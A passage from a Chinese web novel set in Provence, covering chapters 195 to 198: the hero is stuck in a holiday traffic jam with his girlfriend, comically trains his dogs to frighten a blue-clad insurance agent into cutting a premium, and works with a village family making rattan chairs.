在杀人般的谩骂和诋毁声中,布兰科背对村民,严肃无比的对大学生们说: “我们的确鼓励世界各地的游客来卢尔马兰,但这里的‘游客’指的是尊重卢尔马兰的人,对那些不懂尊重人的游客,卢尔马兰会永远对你们说‘不’,这里不只是你们的旅游景点,也是我们的家,请离开卢尔马兰,离开我们的家园!” 布兰科虽穿着睡衣,但身形比穿着西装时还要挺拔坚毅。 他背对大家训斥游客的样子,像极了一个保护孩子的大家长。 罗南笑着揉了一下下巴。 这村长有点帅啊。 第195章 属于罗南的《恋恋山城》 在这之前,罗南并没有对游客大军有什么过多的‘感情’,也对旅行季没有什么太大的概念。 即使有很多游客想去罗南家后院拍照,即使这些人偶尔会打扰他的生活.罗南还是会劝对游客敌意极大的农夫们: “没有游客卢尔马兰就无法发展,你们不要抵触游客。” 但在8月末、在游客即将离开普罗旺斯的日子.罗南出现了被同化的趋势。 每当听到有人说‘游客少了’、‘游客们离开了’等话语,他心里就会有一阵喜悦翻涌而出,挡都挡不住。 并忍不住想起路易说的那个灭火飞机把游客装到水箱里,扔进森林大火的地狱笑话。 他现在终于觉得这个笑话好笑了。 “你在笑什么?”树荫下,歌迪亚一脸苦涩的问罗南,“游客要走了,你还有心情笑?” 歌迪亚的艺术品商店在8月的最后一周开业了,但情况非常不理想。 戒了几年的烟被她重新捡起来,罗南头顶的烟浓郁的像是要下雨一样。 罗南把脑袋里的笑话甩出去: “佐伊接了一个定制艺术品的单子,订购人很阔绰,我替她开心呢。” 那位艾克斯的有钱人经过近半个月的考虑,终于决定用30000法郎给自己的女儿定制一份有纪念意义的成人礼——一只用玻璃和陶瓷结合的美人鱼摆件。 确认自己的脸没有晒黑后,罗南很难不替女朋友开心啊。 歌迪亚的脸上终于出现一些‘阳光’了: “谢天谢地,这是这周我唯一听到的好消息。” 她手里压了不少佐伊的作品,佐伊发展顺利她的资产就有了保障。 歌迪亚这里阴转晴,可托马斯那里持续阴雨两周了: “游客走了之后.我们可怎么办啊。” 歌迪亚掐灭了香烟: “我已经做好冬天闭店的准备,没有客人我就回艾克斯找点别的事情做,我的店铺里有很多灯,估计连电费都赚不回来。” 托马斯郁闷的抱住脑袋说: “如果干的不好,我就要回家继承家产了可我想有自己的事业。” 歌迪亚翻了一个巨大的白眼: “住嘴吧托马斯,你现在卖的不是家里的石器?” 托马斯抗拒的说: “当然不是,这些都是我设计的款式,我爸爸卖的是另外一种风格的。” “但它们都是从你爸爸的石材场里开采出来的。”罗南耸肩。 歌迪亚把地上的烟头踢开: “你和我们不一样,我和罗南只能靠自己,店倒闭了没人能‘养’我们。” “谁说的?”一道轻快的女声在斜前方出现。 众人抬头,看到穿着白色连衣裙的佐伊端庄的站在他们几米外的地方。 她笑着踮了一下脚,阳光撒在她金色的瀑布长发上,闪亮的让大家无法直视: “如果罗南赚不到钱,我养他。” 歌迪亚更无语了,扶着额头说: “一个有有钱的父亲,一个有有钱的女朋友,你们够了!” 合着没人疼的就我一个呗?! 佐伊迈着轻快的脚步来到罗南身前,抬头笑着说: “但是估计我没有机会‘养’你,你一定会干好的!” 托马斯和歌迪亚同时崩溃了: “你们两个够了好吗!” 罗南旁若无人的抬手替佐伊挡住阳光,笑着问: “你怎么来了?” 佐伊没有提前通知他今天要来帮忙。 “突然想到一件事,想过来和你当面商量一下。”佐伊笑着说。 事业的成功让佐伊变得开朗和外向了,每次罗南见她,佐伊嘴角都会挂着感染力十足的笑容。 “什么事?”罗南宠溺的问。 佐伊眯着眼睛说: “记得我之前跟你提的那个电影吗?我同学说它上映了,我马上要开始做那个定制作品,估计要忙一阵了,不如我们在那之前去把它看了?” 罗南面色一喜: “《恋恋山城》吗?” 一个多月前,他们在老教堂门口看露天电影时,佐伊提过会让在艾克斯的同学帮忙留意信息。 这部电影讲述女主玛侬一家从城里搬到普罗旺斯山村继承农场的故事,和罗南的经历有些相似,所以他们都想去看。 佐伊点头: “对,如果你也想去,咱们就找一天下午去艾克斯?当天看完当天回来?” 罗南每天要忙的事情很多,佐伊也有严格的工作计划,这种需要耗时半天的活动必须提前沟通时间,所以她临时过来了一趟。 “可以啊,可以!”罗南连连点头。 佐伊欢快的说: “那就这周三下午吧,咱们把时间提前安排一下。” 以前罗南和佐伊去艾克斯都是早早的出发,上午9点一过就到目的地了。 这次下午2点多出发,路况出现了极大的变化——他们遇到了今年旅行季以来最大的一次塞车。 不,可能不是他们,而是今年普罗旺斯地区最大规模的塞车。 大家都想抓住假期的尾巴南下再去著名的‘蔚蓝海岸’看一看美女和沙滩,下次有这种机会要到明年春天了。 巧的是,有这种想法的人不在少数。 罗南刚从山路驶上7号公路,就被告知了一个恐怖的消息。 “熄火吧伙计,没有四个小时动不了了。”一个好心人过来提醒。 “前面发生事故了吗?”罗南探出脑袋,发现双向都堵了,想回头都没有办法。 那人耸肩: “可能是马赛出现事故了吧,听说从那里开始就水泄不通了。” 马赛是D7公路的尽头。 虽然这是个笑话,不过还是能证明这场堵车的严重性。 “今天估计看不了电影了.”罗南失落的对佐伊说。 佐伊安慰罗南: “没关系,电影要上好久,今天看不上,我们下次再来。” 罗南心情糟糕的环顾四周,发现两侧车子的车窗上贴满了橙色或褐色的公路缴费收据,一看就是来自远方,顿时心情更糟糕了: “又是这些游客.” 他终于理解村民们对旅行季的抱怨了。 某些时候他们真的很让人崩溃! 佐伊轻轻拉了一下罗南的手,安抚道: “换一个方式想,我们可以在一起待上至少4个小时,难道不好吗?” 佐伊总是能轻而易举的影响罗南的心情,罗南的糟糕心情退却了不少,看了看这四周: “下车转转?” 公路两旁有不少农田和草地,他们可以在这附近找个地方打发时间。 “好啊。”佐伊从不拒绝罗南的提议。 和罗南有同样想法的人不在少数,当他们离开公路来到两侧的农田,发现这里已经有许多男女老少和他们的宠物了。 这一堆,那一堆,他们散落在每一个角落开心的嬉戏和拍照。 罗南拉着佐伊的手说: “这里就是一处风景平平的农田,怎么这些游客能玩的这么开心?” 特奥房子后面的缓坡都比这里好看。 佐伊语气轻快的说: “这些游客长年生活在钢筋水泥的都市里,见到花草的机会都很少,当然会觉得稀奇了。” 她笑着看罗南: “难道你刚来普罗旺斯的时候不稀奇这里的一切吗?” 罗南不好意思的摸了摸头: “刚来普罗旺斯的时候,我连烟囱里冒出来的烟都觉得好闻.” 佐伊笑着说: “所以你现在能理解这些游客们的心态了吧?你设想一下,村民们去巴黎会是什么样子?” 罗南悠悠叹了一口气。 如果带特奥和亨利去巴黎.他们可能表现的比那些游客还‘疯狂’。 “走,我们去那里。”佐伊拉着罗南的手,欢快的跑进山野里。 佐伊和罗南在山野里玩了近两个小时,见傍晚降临,再次返回车子所在的位置。 而此时的D7公路,已然变成一个天然的大餐厅。 别管是哪国的游客,到了法国就要遵守法规的规矩——晚餐是一天中最重要的事。 他们搬出椅子、小板凳和帐篷,或者直接扑个毯子席地而坐,享受这场难得的露天晚饭机会。 罗南在这些人的脸上看不到任何沮丧和失落,认识的、不认识的三五成群的凑到一起,分享着车上带的美食和美酒,聊着这一路在普罗旺斯的见闻,甚至还会给对方的厨艺提出各种建议。 罗南旁边的车主见他们两个孤零零的坐在车里,主动送来一盒饼干: “没带吃的出来?” 罗南感激的接下来: “我们是本地人,去艾克斯看电影。” 那人操着奇怪口音的法语说: “真羡慕你们啊,普罗旺斯真是个美丽的地方。” 他指着那片被罗南评价‘还没有特奥家房后缓坡好看’的农田说: “我带家人在那里拍了许多照片,之后我们一定会怀念这里的。” 佐伊吃了一口饼干,感谢的说: “谢谢,很好吃。” 那人笑着拍了下车顶: “我再去给你们拿两杯咖啡,在这么美的夕阳下没有美食陪伴太浪费了。” 这位好心人刚走,又有人从对面的车道小心翼翼的拿来两块色彩斑澜的甜品: “嘿,伙计,听说你是本地人?如果明年我们还来普罗旺斯,你会给我推荐去哪里?” 佐伊还在认真思索答案,但罗南想到没想脱口而出: “卢尔马兰。” 游客中是有许多给罗南和村民带了困扰,但那不是全部。 对于懂得尊重普罗旺斯的游客,卢尔马兰永远欢迎他们。 罗南心中的芥蒂和纠结彻底消失。 此刻,他和这些游客们彻底大和解了。 这场大堵车比预想中还要漫长,不过罗南已经不在意几点能疏通了。 小情侣并排坐到货车的车顶上,互相依偎着,看着一望无际的金属长龙,身后的夕阳是他们的背景。 佐伊喝了一口好心人‘投喂’的苹果白兰地: “虽然没能看到《恋恋山城》,但我一点都不遗憾。” 罗南看着远方说: “我也是。” 佐伊疑惑的问: “我是因为看到这些游客真心热爱我所生活的土地而开心,收获不比看电影少,你是因为什么?” 罗南低头在佐伊的头上轻轻一吻: “因为我们也在上演着《恋恋山城》,而且是比电影更加美好的‘恋恋山城’。” 《恋恋山城》的主人公并没有落得好结局,她被一对贪心的叔侄陷害到家破人亡。 罗南也是从大城市来到普罗旺斯生活的,他何尝不是在上演着属于自己的《恋恋山城》呢? 只不过在这个电影世界里,罗南有爱他的女朋友,有尊重他的父母,有可以信任的朋友还有一片光明的未来。 所以属于罗南的恋恋山城,一定会有一个美好的结局。 佐伊幸福的靠到罗南身上。 两个人的背影被夕阳拉的很长很长.像电影海报一样美丽。 晚上7点多,金属长龙终于动了起来,许多陌生人已经变成了好哥们,像是认识了半个月的好朋友一样互换联系方式。 给罗南和佐伊送来饼干的车主和罗南互换方式后,匆匆忙忙的启动了车子: “再见了伙计。” 罗南看向他所驾驶那辆车的车牌照,笑着把整个上半身的弹出车子: “再见比利时老兄!欢迎你明年再来!” 罗南用双手比做筒状,对着四周用力的大喊: “普罗旺斯欢迎你们!我们明年再见!!” 今年的旅行季结束了,但希望明年能继续看到你们! 第196章 为家庭做贡献的机会来了 普罗旺斯9月初的天气和8月完全不同。 白天依然干燥炎热,但夜晚却清凉宜人,这个时间段的空气会格外清新舒畅。 很多没有夜游习惯的人也会在9月的夜晚走出家门,走到乡间的小路上,感受大自然给他们的新礼物。 罗南和佐伊的夜游队伍‘壮大’了。 罗天海和冯珍每晚都会出来转转,偶尔路易和莉亚也会加入他们。 家长一加入,性质难免会改变。 谈情说爱变成了‘乡野杂谈’,罗南的注意力不得不从佐伊的身上移开,向四周他们说的树啊、草啊、房子啊等事物上转移。 这一看不得了还真被他发现了值得关注的信息。 不知从哪天开始,村里面和四周许多漂亮的老房子重新紧闭门窗,再也不见灯光,且门口挂上重锁,想必是那些拿这里当‘第二家乡’的有钱人返回了他们的第一故乡,这些房子在圣诞节前都将没有人居住。 连罗南这种‘外行人’都能识别出哪些屋子空了,那些大名鼎鼎的沃克吕兹省盗贼肯定也发现了。 他们不会已经集结起来、磨拳霍霍的开始今年的工作了吧? 罗南家的房屋保险拖到现在还没有买是时候考虑一下了。 罗南的餐厅购买了全部保险,罗南和那位保险业务员沟通,希望能了解一下房屋保险的情况。 那位老兄和路易的工作习惯一样,喜欢把客户约到他的办公室——距离卢尔马兰十几公里的博尼约。 罗南开车来到这里,发现想要给自己的房子上一把‘锁’的人有十几个,而且里面大多数都是即将离开‘第二故乡’回‘第一故乡’的高危人群。 在普罗旺斯生活久了,罗南渐渐养成了在任何场所都要‘社交’的习惯,尤其是排队的时候,于是他找了一个表情看起来最严肃的家伙攀谈,希望双方能愉快的展开一场对沃克吕兹省盗贼的批斗大会。 “我家曾经被人偷过,你家也被偷了吗?” 没想到那家伙表情严肃的原因和盗贼完全没有关系。 “过去的几个月,我遭受了太多的骚扰。”这位有些谢顶,还有一点酒糟鼻的可怜家伙愁眉苦脸的说。 “什么样的骚扰?”罗南好奇的问。 这人的外形条件应该不至于受到这种对待才对。 那人看了看罗南的脸,苦笑着说: “你也是来普罗旺斯度假的吧?没有朋友来你家‘借宿’吗?” 罗南尴尬的笑了一下: “我朋友不多。” 罗南在巴黎的朋友真的不多,有过几个‘借宿’电话也被他拒绝了。 夏天只接待过托尔一个朋友,但托尔没有给罗南带来任何困扰,甚至给他留下了许多难忘的记忆。 明年开春,罗南会主动联系托尔,问他是不是要继续来普罗旺斯‘休假’。 “你太幸运了!”对面的可怜家伙低声嘶吼,“明年我不会招待任何一个朋友!” 他的声音不小,又吸引来了几个情况相同的人。 这些人情绪激昂的展开了一场对‘朋友’的批斗大会,罗南听了半个小时,通过他们的共同经历和描述总结出了几句他们最厌烦听到的话。 “这里为什么不能刷信用卡?巴黎(伦敦、柏林、罗马、威尼斯)都可以刷信用卡啊,这可怎么办,你的现金多吗?” “这顿你可以先付一下吗?我只有一张500法郎的大钞,之后会还给你的。” “抱歉,我的女儿(儿子、孙子、孙女)不是故意弄坏的,等我回去一定寄一份新的给你。” “对不起,我不知道你家的马桶(花洒、水龙头)这么容易坏。” “你家的红葡萄酒(威士忌、白葡萄酒、伏特加)喝完了。” “打到巴黎(伦敦、柏林、罗马、威尼斯、洛杉矶)的长途电话多少钱?走之前我会付给你的。” “我们没有给你添麻烦吧?” 听完这些人水管堵塞、酒水莫名蒸发、房屋损坏的故事后,罗南觉得盗贼也没有那么可怕了。 那位谢顶的可怜家伙走入办公室前愤愤不平的说: “为了那些客人,我必须买一份足额的房屋保险!” “你好啊罗南先生。”名叫曼尼的保险业务员热情的接待了罗南。 这位保险业务员有着不同于其他同行的‘审美’,他绿色的衬衣下面配的是一条大红色的灯笼裤,褐色尖头皮鞋搭配一双亮蓝色的袜子。 每次罗南见到曼尼,他都是这副‘花蝴蝶’打扮,尤其钟爱亮蓝色。 而罗南每次都会忍不住设想,也许这也是一位怀揣过音乐梦想的艺术青年,他曾在艾克斯的大街小巷和酒吧展示过自己的身姿和歌喉,只不过最终被现实熄灭了梦想。 “你好啊曼尼,今天又那么精神。”罗南坐到他对面的椅子上。 曼尼开心的笑了两声,展现出了他不俗的胸腔共鸣能力: “聊聊正事吧罗南先生,你家也被朋友弄坏了?” 罗南摇头: “我家只有我和我的父母居住,来了解保险是为了房屋财产安全。” 曼尼意外的‘咦’了一声,似乎为罗南的觉悟而感到开心: “如果普罗旺斯每一个都像你这样就好了。” 你就可以赚更多的钱了是吧罗南腹诽道。 吕贝隆的房屋保险购买率并不高,反正他没听过周围哪个农夫购买了。 其实罗南今天也只是来‘咨询’一下,如果价格超过他的能力,他会等钱富裕一些了再考虑这件事。 那之后曼尼开始询问罗南许多专业、影响保费价格的问题 “你每年要在自己的家里居住几个月?” “全年。” “最后一次更换门窗是哪年?” “就在今年。” “厨房有专门排气的管道吗?” “有,我今年翻新了厨房。” “烟囱距离地面多高?” 又问了一些问题后,曼尼拿着笔的手平摊开来: “你今年真是干了不少事啊,罗南先生。” 罗南也摊开手掌: “我这人闲不下来。” 曼尼笑着继续询问: “好的,那么你家养狗了吗?” 罗南点头: “养了,一只杜宾,一只刚毛犬。” 曼尼快速记录着: “它们的性格怎么样?” 罗南迟疑了一下。 曼尼抬头解释: “这也会影响保费。” 罗南皱着眉头说: “凶,非常凶,我家有一只卢尔马兰最凶的刚毛犬,这件事全村都知道。” 曼尼满意的盖上笔帽: “信息我都记录下来了,这周我会抽空去你家一趟,核实你所描述的信息是否属实,之后就可以告诉你保费的价格了。” 如果不是因为危险就潜伏在身边,罗南真的不会在这个时间考虑购买房屋保险,因为他的经济条件实在太紧张了。 给赫黛利付完铁椅的钱后,他只有3500法郎了,真的是掰着手指头算着集市举办的日子过日子。 另一个雪上加霜的事情是,9月带走了大量游客,接下来两个集市的收入将进行断崖式的下跌。 不过也不是没有好消息。 施工的工钱、石材的钱、铁椅子等大头都付出去了,未来这一个月只需要买木材、藤蔓、绿植和给亨利一家付1200法郎的手工费,也许还会有一些闲杂的费用,但应该不会太多。 而且上周盒饭带来了额外的1000法郎收入,下周可能会更多,这些都算是不幸中的万幸了。 但罗南还是想尽量压缩保费的价格,力争让全家在9月份就得到保障.谁知道那些饿了一年的盗贼们在刚开工的时候会做出什么事情呢? 想要压缩保费,就要从自身的安全系数上想办法。 安全系数越高,保费的价格就会越低。 房屋本体是没有什么办法提升了,还有上升空间的只有两条狗。 从伯尼约回来那天的下午。 罗南把小黑和马赛叫到自己跟前,语重心长的说: “你们为家庭做贡献的机会来了。” 小黑侧了下脑袋,似乎不明白是什么意思。 马赛虽然在罗南身前坐着,但眼睛总是往厨房的方向看。 冯珍今天带的红色塑料袋去买菜,马赛盯着那个东西好久了。 虽然又过了几个月,虽然马赛已经快半岁了,退却掉了小奶音,叫声变得浑厚.可它依然没有改变喜欢红色的习惯。 罗南揉了揉马赛的脑袋: “尤其是你啊小伙子,恶犬的名号我已经替你打出去了。” 做完动员,罗南去他的卧室拿出了另一双压箱底的蓝色袜子,这同样是冬天的时候为了训练小黑时买的。 他把两只袜子套到手上,当着马赛的面撕烂了那个红色的塑料袋,又锤烂了一个番茄,还把母亲的红拖鞋扔了。 “你干什么?”冯珍给了罗南一撇子,“疯了啊你,逗马赛干什么?它都叫劈叉了” 罗天海从院子里跑进来,抱着已经‘疯魔’了的马赛骂罗南: “你有病?” 小黑不知道发生了什么情况,但马赛叫它也跟着叫,只不过它找不到目标,只能焦急的在家里转圈,此时的罗南家像是马戏团一样热闹。 罗南用它的‘蓝手套’把罗天海买来写菜单的红色信封纸撕成一条一条的,看着马赛说: “记住了吗?这是代表邪恶的蓝色!” 三天后,一辆大红色的轿车挟着飞扬的尘土停到罗南家门口的柏油马路上。 一个头发梳的精致油亮,身穿亮蓝色衬衣,黄色西裤和绿色鹿皮鞋的‘精神小伙儿’敲响了罗南家的门。 罗南开门的瞬间就笑出声了,今天居然不是袜子,而是衬衣! 乖宝宝马赛,能给爸爸省多少钱就看你了。 第197章 见证悲剧的诞生! 可怜的曼尼甚至还没有来及舒展开职业的微笑,就被一道飞驰而来的钢灰色‘旋风’吓的退了出去。 罗南一把摁住打算追出去的马赛后颈,在急促的犬吠中给曼尼道歉: “抱歉,我家的狗对陌生人比较敏感。” 曼尼高举双手,以示自己并没有危险: “这就是你的那只刚毛犬?” 罗南抱着马赛说: “对的,这一只脾气不太好。” 话音刚落,一道黑色的旋风也加入战场,龇牙咧嘴的对着四周的空气狂叫,看起来既凶残,精神又不大好。 “小黑,离开这里。”罗南对小黑喊了一句。 黑旋风龇牙咧嘴的旋转走了,一边旋转还一边对着四周的空气狂叫。 曼尼小心翼翼的后退: “看来另一只的脾气更差啊,我们先从屋外看起吧。” 餐厅的保险是政府统一安排购买的,没有‘验房’这一步。 法国的保险业务员‘臭名昭著’,没人愿意和保险公司打交道,担心儿子应付不了棘手的曼尼,罗南的父母把两只狗锁到屋里,陪着曼尼和罗南一起在房子四周查看情况。 曼尼首先对罗南家的房屋坚固程度表示了赞许,说这是他见过卢尔马兰看起来最安全的房子,不过他停留在厨房外墙的抽风孔洞前,指着那个直径不到30厘米的圆孔说: “普罗旺斯的盗贼手法娴熟专业,这么大的孔洞足可以酿造一场悲剧了。” 罗天海伸手在那个排气孔上比了一下: “这个洞很小,人钻不进去的。” 曼尼严肃的摇头: “成年人钻不进去的地方,他们会让孩子进去,根据警方记载,这些丧心病狂的盗窃犯可以钻入任何大于15厘米的孔洞。” 罗天海不满的反驳: “15厘米?你知道15厘米有多大吗?” 曼尼拿出笔和本子记录起来,同时嘴里念念有词道: “先生,你应该去了解一下法国的儿童犯罪情况,有70%以上的儿童犯罪都是和盗窃有关。” 说着,他用笔杆用力敲了敲那里: “这是一个巨大的安全隐患。” 冯珍用疑惑的眼神看罗南,似乎在问: 真的假的? 罗南耸肩,表示自己的不理解。 不过他知道——保费要涨了。 曼尼一改在办公室的随和健谈,严肃指出了罗南家一处又一处安全隐患,按照他的话听下来,最安全的防盗方式应该是把自己关进保险箱里。 “你家居然还有葡萄园。”曼尼的语气更严肃了。 “盗贼连葡萄藤都会偷吗?”罗南皱着眉毛问。 曼尼指着面前已经结满成熟果实的葡萄园说: “他们不会偷葡萄藤,但采摘葡萄的工人是法国治安的最大隐患,在采摘季全世界没有工作的人都会涌入法国、涌入普罗旺斯,你如何确认这里没人对你的财产有非分之想呢?” 罗南摇头: “我不会请工人,葡萄园并不大,我可以自己完成。” 曼尼笑着平摊双手: “但其他人呢?你可以保证附近5公里的农田全都不找采摘工人帮忙吗?” 说完,他再次打开那本关于罗南钱包厚度的笔记本: “第十三个巨大的安全隐患罗南先生,你家的财产安全非常没有保障啊。” 冯珍已经忍了许久,见男人们一个个败下阵来,拿出一副‘老娘就不信了’的架势,看着曼尼说: “这位保险员先生,我家一年365天都有人住,无论是哪国的小偷都不会蠢到来偷我家吧?” 曼尼做出了一个‘你不懂’的表情,似乎他短短30年的人生中有29年都和保险作伴: “女士,做我们这一行听到的悲剧太多了,有些盗贼根本不在乎家里有没有人,还有些盗贼有自己的偷盗习惯,也许他就是看上你家装修别致的大房子了呢?听天由命绝非明智之举。” 罗南示意母亲别激动,笑着做了一个请的手势: “外面看完再看看屋里吧,我想要全放面了解一下自己的安全情况。” 曼尼开心的笑起来,觉得罗南真是他在普罗旺斯遇到觉悟最高的客户了: “你能这样想我真的太开心了,那我们就移步屋内吧。” 没有罗南的阻拦,马赛几乎在开门的瞬间就蹿了出去。 曼尼躲到罗南身后,跳着踢踏舞说: “罗南先生,可不可以先把你的狗控制一下?” 罗南无辜的说: “它们也是我家安全保障的一部分,曼尼先生,你不需要一起评估吗?” 罗天海怕马赛咬到人,把它抱起来做了一个请的手势。 曼尼和罗天海错身的时候,马赛背脊的毛发像钢针一样竖立起来,白色的小牙裸露在空气中,似乎想把那团代表邪恶的蓝色咬碎。 在充血的狗眼中,曼尼看到了惊恐的自己,只是进门一个简单的动作,惊险的像是过了一次‘鬼门关’一样。 他整理了一下因慌张而弄褶的亮蓝色衬衣,用开玩笑的语气说: “果然很凶啊。” 然后,马赛叫的更加凶了. 罗南耸肩: “我猜没人能悄无声息的进入我家。” 曼尼拿出纸笔写起了什么: “这确实使你家的安全系数增加了,但那些盗贼有很多对付狗的办法,比如吸引开它的注意力。” 曼尼刚说完,‘黑旋风’便转回了客厅,对曼尼龇出暗红色的牙龈,之后又转走了,一边旋转还一边对着四周的空气狂叫。 罗南平摊双手: “但我家还有一只爱巡逻的‘士兵’。” 曼尼发誓,这是他从业以来遇到过最棘手的局面。 这个家庭居然有两只有狂躁症的狗? 不过他是职业‘保险业务员’! “狗这种动物确实能起到看家护院的作用,但它们太贪吃了,我还听过连狗一起偷了的悲剧,也许只需要一块放有安眠药的面包,它们就会给盗贼‘打开’大门。”曼尼惋惜的说。 罗南正色道: “曼尼先生,我是卢尔马兰非常著名的松露猎人,不知道您对我们这个行业是否了解,我们除了能找到松露外,还是非常厉害的训狗师,我的狗不会吃任何外人投喂的食物。” 冯珍眉头紧锁,眼睛不自然的眯起,嘴角下垂,满脸写着‘嫌弃’。 训狗师? 狗训你还差不多.俩狗都给你训没脾气了。 曼尼耸肩,呵呵笑道: “罗南先生,有的时候宠物是不受控制的。” 罗南去厨房拿了一颗新鲜的紫甘蓝,递给曼尼: “不信你试试。” 想要让顾客乖乖的掏钱,必须拿出有力的证据。 曼尼撕了一块紫甘蓝,发现找不到‘黑旋风’的踪迹,只能听到它凶残的叫声,于是把目标放到了罗天海怀里的钢灰色毛团。 曼尼抬起屁股,轻轻的向马赛靠近,但他每走近一步,马赛的骂声便高昂一分,吓得曼尼又坐了回来: “用手喂太危险,盗贼也不会用手喂的。” 罗南拿了一个蓝色的狗碗过来: “那你放它盆里。” 为了证明自己的训狗本领,罗南又去厨房拿了两颗新鲜的蓝虾: “喂什么都行,你试试。” 曼尼把蓝虾放到蓝色的狗碗里,之后伸出蓝色的胳膊,小心翼翼的把饭盆放到眼冒蓝光的马赛的面前,温柔的说: “吃吧,乖宝宝。” 马赛疯了似的挣脱罗天海的怀抱,叼起那个饭盆用力撕咬起来,露出一嘴恐怖的蓝色塑料。 曼尼觉得自己仿佛置身于地狱之中,拿着笔和本仓皇而逃: “罗南先生,你家室内的安全系数确实很高,我想我了解的差不多了,可以离开了。” “保费多少钱,曼尼先生?”罗南跟在他的身旁一起离开。 曼尼擦着汗说: “室外的安全系数还是太低,我预估最终的保费在5000-6000法郎之间,不过这还需要我回去仔细计算之后才能给到你。” 这个价格还是太高了,罗南皱着眉毛说: “你再重新评估一下吧曼尼先生,没有人能从我家偷走任何一件东西的,我发誓。” 曼尼苦笑着说: “那确实是两只看家护院的好狗,但万一那些盗贼拿一点东西就走呢?你指望狗能追出去吗?我见过太多悲剧发生了罗南先生.狗的作用是警告那些盗贼离开这里。” 下一秒他就说不出话了。 不知何时,刚灰色的身影已越过众人,来到曼尼大红色的轿车前。 马赛前腿微屈,冒着蓝光的眼睛似乎在警告曼尼,你再靠近一步我就要发起攻击了。 黑色的旋风也从屋内刮到了屋外,围着红色汽车不停打转,似乎在说: 这车是我小弟马赛的。 罗南也懵了。 怎么还有剧本之外的剧情啊? 受到极大惊吓的曼尼一边给罗南鞠躬,一边用力握着他的手‘求饶’: “罗南先生,您真是一位优秀的训犬师,请让我离开这里吧!” 曼尼每天都要编出无数的悲剧故事故弄玄虚的骗客户钱,但今天他遇到了比悲剧还悲剧的悲剧——他被两只狗困在这里无法离开了! 罗南可不会浪费这种绝佳的机会,拉着曼尼的手,故弄玄虚的说: “曼尼先生,我还没有讲完,我的狗会的不止这些。” “它们会跟踪盗贼的气味,即使跑出去50公里依然可以找到盗贼的老巢。” “它们还会报警,只要家里出现风吹草动,它们会马上去最近的警察局通风报信。” “像这样训练有素的狗,我一共有5条,还有3条去我女朋友家‘休假’了。” “实不相瞒,我还训练出了一只羊做‘侦查兵’,全天24小时埋伏在这周围,你要见见我的羊吗?” “曼尼先生,你再重新评估一下吧!” 三天后,罗南收到了曼尼的报价单。 “3375法郎”罗南咂巴了一下嘴,“便宜了两千,但我应该讲更多‘悲剧’吓唬他才对,说不定还能便宜点。” 第198章 亮灯仪式 9月除了天气的变化,还有一个明显的变化是农夫们‘靠谱’了起来。 大家用于喝酒的时间少了,去自己葡萄园里转的时间长了。 每天早上都能看到农夫们在整齐的葡萄藤里,查看漫山遍野饱满多汁葡萄的景象。 今年莫力酿酒合作社的升级,让大家格外重视自己的葡萄收成,说不定一年可以卖出平时两年的收入。 这其中状态最紧绷的当属皮埃尔。 这个卢尔马兰的最佳农夫就是大家的‘标尺’,当皮埃尔开始收葡萄的时候,全村的农夫会马上行动起来,那说明收葡萄的最佳时机到了。 一天下午,罗南拉藤蔓去餐厅,看到皮埃尔站在村外的葡萄园里,停下对他喊: “回村吗?我把你带回去?” 皮埃尔背对罗南挥了挥手: “我还要再待一会,你先回去吧。” 烈日当空,现在又没有什么事情可做,皮埃尔在葡萄园里干什么? 罗南下了车,走到皮埃尔身边,发现皮埃尔一会看天,一会看手里的葡萄串,嘴里还小声的念叨什么。 “你在干什么?”罗南问。 皮埃尔眉头紧锁: “我在想要不要现在就开始摘。” 罗南轻微后仰了一下脑袋: “是不是还可以再等几天?” 罗南的【种植】技能告诉他,再过十几天才是这些小东西最饱满的时候。 皮埃尔语气复杂的说: “的确应该让它们再成熟一些,但9月的天气靠不住啊一场暴风雨打下来,葡萄就再也炸不出汁了。” 9月依然属于普罗旺斯的雨季,天气变幻莫测。 罗南抬头看了看天,又用力吸了吸鼻子: “最近几天应该不会有雨。” 皮埃尔的抬头纹更加明显了: “我也看了气象预报,每天都看,但还是不保险。” 汗水顺着皮埃尔的脖子不停滴落,显然他已经在烈日下站了不不短的时间。 罗南拍了拍他的后背,又指了一下自己的车: “走吧,先回去,你站在这里也无济于事啊。” 皮埃尔突然搂住罗南的脖子,笑着离开葡萄园: “一到9月份我就会过分‘焦虑’,每天醒来都会觉得应该摘了。” 虽然皮埃尔恢复了笑脸,但罗南知道他的压力并没有卸下去,因为他拒绝了罗南邀请他喝酒的提议。 把皮埃尔放到村里的时候,罗南认真的说: “我会帮你一起留意天气的我的意思是,让我在巴黎的朋友帮我们一起看天气。” 皮埃尔对罗南挥了下手,没有回家,而是点了根烟向另一个方向走去。 罗南认出,那是他打理的另一块葡萄园的方向。 “哎。”罗南叹了一口气,发动车子继续开去餐厅。 亨利一家做藤椅的速度远低于罗南的预期。 罗南本以为三口人一起,一周多就能干完,但现在一周多过去,进程只有一半多一点。 主要原因是亨利和丽莎的手‘笨’的吓人,他们的灵巧度似乎全部被约瑟芬吸了去。 约瑟芬一天可以绑两把椅子,但亨利和丽莎通力合作一天也完成不了一把。 这让罗南知道,原来世界上的天才还是稀缺的,也许大部分都是亨利和丽莎这样的人。 每天约瑟芬绑完自己的两把,还要去支援老公和女儿,有的时候罗南都看不下去了,劝解她说: “休息一下吧,你今天几乎没怎么休息。” 约瑟芬的皱纹舒展开来,藤蔓在她手上像是听话的线团一样: “我做了十几年手艺活儿,做这些很简单,一点都不累。” 罗南拿着小板凳坐到他们对面: “几十年?你从丽莎那么大的时候就开始缝绣被了?” 约瑟芬笑着说: “不止,十几岁就开始缝了,跟着我妈妈和外婆一起。” 罗南看了看约瑟芬,又看了看丽莎: “就没想过干点别的,一直缝绣被?” 约瑟芬干笑了两声: “我们哪会干别的啊?女人唯一能贴补家用的方式就是缝绣被,卢尔马兰的女人世世代代都是这样的。” 丽莎羞涩的说: “除非离开吕贝隆,否则我们没有什么工作的机会。” 吕贝隆的商业系统全部以家庭为单位,大家几乎不会雇佣没有血缘关系的人,除非是非常非常好的朋友。 但是亨利没什么朋友。 约瑟芬羡慕的看罗南: “但佐伊是个例外,她是个幸运的孩子,你也是。” 罗南开心的笑了一下,拿起地上已经浸泡、晾晒好的草开始编饰品。 亨利紧张起来,以为罗南是觉得他们太慢,要自己动手了,紧张的说: “罗南先生,你去做别的吧,我们晚上晚一点走,可以把速度提起来的。” 罗南笑着摇头,安慰亨利: “没事,我不着急,你们不用‘加班’,现在的进度不慢,我的木工快做完了,今天做点别的。” 约瑟芬停下手上的动作,看着罗南手里的东西问: “这是——” 罗南摊开给她看: “麦草,处理过的麦草。” 约瑟芬眯着眼睛看过来: “也是绑椅子用的?” 罗南摇头: “不,我打算做几个灯看看效果。” 